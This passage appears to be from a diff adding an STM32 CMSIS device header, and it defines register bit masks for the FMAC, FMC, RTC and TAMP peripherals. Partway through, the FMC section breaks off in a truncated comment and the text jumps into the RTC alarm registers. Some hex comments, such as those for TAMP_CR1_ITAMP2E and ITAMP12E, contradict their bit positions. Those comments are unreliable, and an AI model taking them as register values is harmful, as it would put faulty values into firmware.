FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E 